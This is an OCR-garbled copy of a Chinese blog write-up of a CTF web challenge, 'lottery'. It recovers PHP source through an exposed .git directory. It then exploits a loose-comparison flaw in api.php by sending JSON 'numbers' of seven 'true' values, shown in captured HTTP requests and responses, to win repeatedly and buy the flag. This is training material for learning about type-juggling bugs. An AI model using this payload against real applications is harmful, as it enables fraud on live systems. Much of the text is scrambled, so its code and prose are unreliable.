[ BBt R ] =+ = --- lottery

I IE F 2021-01-03 22:38:14 K A 141 e
SRER: WEHR CEREL: of MgRse
FRANFE B . A SCONE R R AISCE, BE CC 4.0 BY-SA FRAUMML, #EiEM LR SCH b B A =B .

A HEE: https://blog.csdn.net/qq_43168364/article/details/112099972
KA

24 XX E 0T
ITEER

B H ----lottery
FIE ) T 2 X R
— . writeup

i BB R L SRR AT A, BATEE I Bl X IRAS R B A B R W K flag, BATAIMEETH20, Tiflag E9990000%
i A CAJ &

Claim Your Prize admin $20

Notice: You are offered a huge discount!
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Flag

$9990000 «—

On Sale
buy the flag if you can
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Buy a lottery!

1111111 Buy! |

Prize: 0

Winning numbers:
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Css
/% main.css
Js
/% buy.js
/% register.js
account.php
api.php
buy.php
check_register.php
config.php
favicon.ico
footer.php
header.php
index.php
logout.php
market.php
register.php
robots.tut
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BEIAREHEFRHRINEZ: robots.txt « config.php ~ index.php
robots.tXtSCHE T —A /.git/ BF (XANBIREAMN ZZAEA BEAMSIEREE, FERNE SRR gitRmtE )

robots.txt

User-agent: *

Disallow: /.git/

config.php HEEN T —<iE, HTHNEE

config.php

<?php

session start();
$flag 'this is not the real
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<?php
('config.php');
header( 'Content-Type: application/json');

HiEbpH Hhttpsk, 5L 2 T I Hifh B 1F

($_SERVER["REQUEST_METHOD"] "POST' isset($_SERVER["CONTENT_TYPE"])
SERVER[ "CONTENT_TYPE"] ‘application/json’'){
response_error('please post json data');

| Haw | Harams | Headers | Hex |

POST fapi.php| HTTP/1.1

Host: .249.52.134:46710
Cache-UWgtrol: max-age=0
A Upgrade-Inswgure-Requests: 1

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64) Apple\WebKit/537.36 (KHTML, like Gecko)
Chrome/87.0.4280.88 Safari/537.36

Accept:

text/html application/xhtml+xml applicationfxml; q=0.9 image/avif image/webp imagefapng ™, q=0.8 ap
plication/signed-exchange;w=h3,q=09

Referer: http:/220.249.52.134:467 10/register.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM zh; =09 en-US;q=0.8 en;g=0.7 zh-TW,q=0.6

Cookie: PHPSESSID=487 daBe0792ef9172030ab659 203055

Connection: close

Content-Type: application/json | *—-—

IContent—Length: 0
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$data = json decode(file get contents('php://input'), true);

(json_last_error() JSON_ERROR_NONE){
response_error('invalid json');

}

require keys($data, ['action']);
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($datal 'action']) {

"buy':
require keys($data, [ 'numbers']);
buy($data);

;]

‘flag':
flag($data);

;]

"register’:
require keys($data, ['name’']);
register($data);

b

response_error('invalid request');
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function buy($reqg){
require registered();
require min_money(2);

$money — $ SESSION[ ‘money’];
$numbers = $req[ "numbers’];
$win_numbers = random win_ nums();
$same _count - 0:
($i-0; $i<7; $i++){
($numbers[$i] $win_numbers[$i]){
$same_count++;
b
I3
($same_count) {
23

$prize 58

23
$prize
3

4;
$prize
3

53

$prize

$prize




$prize

>

$prize
3
}
$money $prize - 2;
$ SESSION[ 'money’] - $money;
response([ 'status'->"ok"', "numbers’'->$numbers, ‘win_numbers

$win_numbers, ‘money’ $mﬂpey
|t
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Raw | Params | Headers | Hex Raw | Headers | Hex

POST fapi.php HTTR/1.1 : HTTR/1.1 200 0K

Host: 220.249.52.134:46710 Date: Sun, 03 Jan 2021 13:46:36 GMT
Content-Length: 34 Server: Apache/2.4.25 (Dehian)

Accept: application/json, text/javascript, */*; g=0.01 ¥-Powered-By: PHP/7.25

X-Reguested-With: XMLHttpRequest Expires: Thu, 19 Mov 1981 08:52:00 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537 36 (KHTML, like Geckao) Cache-Control: no-store, no-cache, must-revalidate
Chrome/57.0.4280.88 Safari/o37.36 Pragma: no-cache

Content-Type: application/json Content-Length: 78

Origin: http:/220.249.62.134:46710 Connection: close

Referer. http://220.249.52.134:467 10/buy. php Content-Type: application/json

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM,zh;q=0.9 en-US;q=0.8 en;q=0.7 zh-TW,;q=0.6 {"status":"ok" "numbers": 1111111 "win_numbers":"6094474" "money": 14 "prize":0}
Cookie: PHPSESSID=487 dafe0792ef3172030ab659ccc3has

Connection: close

|"act\on":"buy","numbers":1111111|

BF T HAKRBOERR, WAZEEMEETEANR nunbers Kb P K& T SLIRN . 7 UF B2 FEK R numbers 41 &
NABAERESHHREY., HFAALBRBENERNRE == Mk --

o

function buy($reg){
require registered();
require min_money(2);

$mone $ SESSION
$numbers - $req[ 'numb
fwin_numbers - random win_nums();
$same_count
($i-0; $i<7; $i++){
($numbers[$i] [~ [$win_numbers[$i]){

$same_count:+;

($same_count) {
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bool(true) bool(false)
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POST fapi.php HTTP/M.1

Host: 220.249.52.134:46710

Content-Length: 63

Accept: application/json, text/javascript, 7 q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecka) Chrome/87.0.4280.88 Safari/537.36

Content-Type: applicationfjson

Crigin: http://220.249.52.134:46710

Referer. http:/f220.249.52. 134467 10/buy .php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8 en;q=0.7 zh-TW; g=0.6
Cookie: PHPSESSID=457 da8e0792:f2172030ab659ccc3b55
Connection: close

{"actiun"."buyl'"‘nurnbers".[llue,tlue,tlue‘tlue,t\ue,tlue,llue]}l |
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Request

Raw | Params | Headers | Hex

HTTP/1.1 200 OK

Date: Sun, 03 Jan 2021 14:04:17 GMT

Server: Apache/2.4.25 (Debian)

K-Fowered-By: PHP/7.2.5

Expires: Thu, 19 Mov 1981 08:52:00 GMT
Cache-Contral: no-store, no-cache  must-revalidate
Pragma: no-cache

Content-Length: 116

Connection: close

Content-Type: application/fjson
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{"status":"ok" "numbers":[true true true true true true true],"win_numbers": "41097 4
200000}

ong 00012, [prize":

Response

Raw | Headers | Hex

POST fapi.php HTTP/1.1

Host: 220.249.52.134:467 10

Content-Length: 63

Accept: applicationfjson, text/fjavascript, **; g=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64) Apple\WebKit/537.36 (KHTML, like
Gecko) Chrome/87.0.4280.88 Safari/537.36

Content-Type: application/json

Origin: http://220.249 5213446710

Referer: http://220.249.52.134:467 10/buy. php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN zh;q=0.9 en-US;q=0.8 en;q=0.7 ,zh-TW, ¢=0.6
Cookie: PHPSESSID=487da8e07822f9172030ah659 coc3b55
Connection: close

{"action”:"buy","numbers":[true true true true true true true]}
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HTTP/1.1 200 Ok

Date: Sun, 03 Jan 2021 14:07:59 GMT

Senver: Apache/2.4.25 (Debian)

¥-Powered-By: PHP/7.2.5

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Content-Length: 119

Connection: close

Content-Type: application/json

{"status":"ok" "numbers":[true true true true true true true| "win_numbers":"B578187"
£":5000000}

admin 31813874

Here is your flag: cyberpeace{3dcdf1c3f58bddc63a8f26940c41476e}
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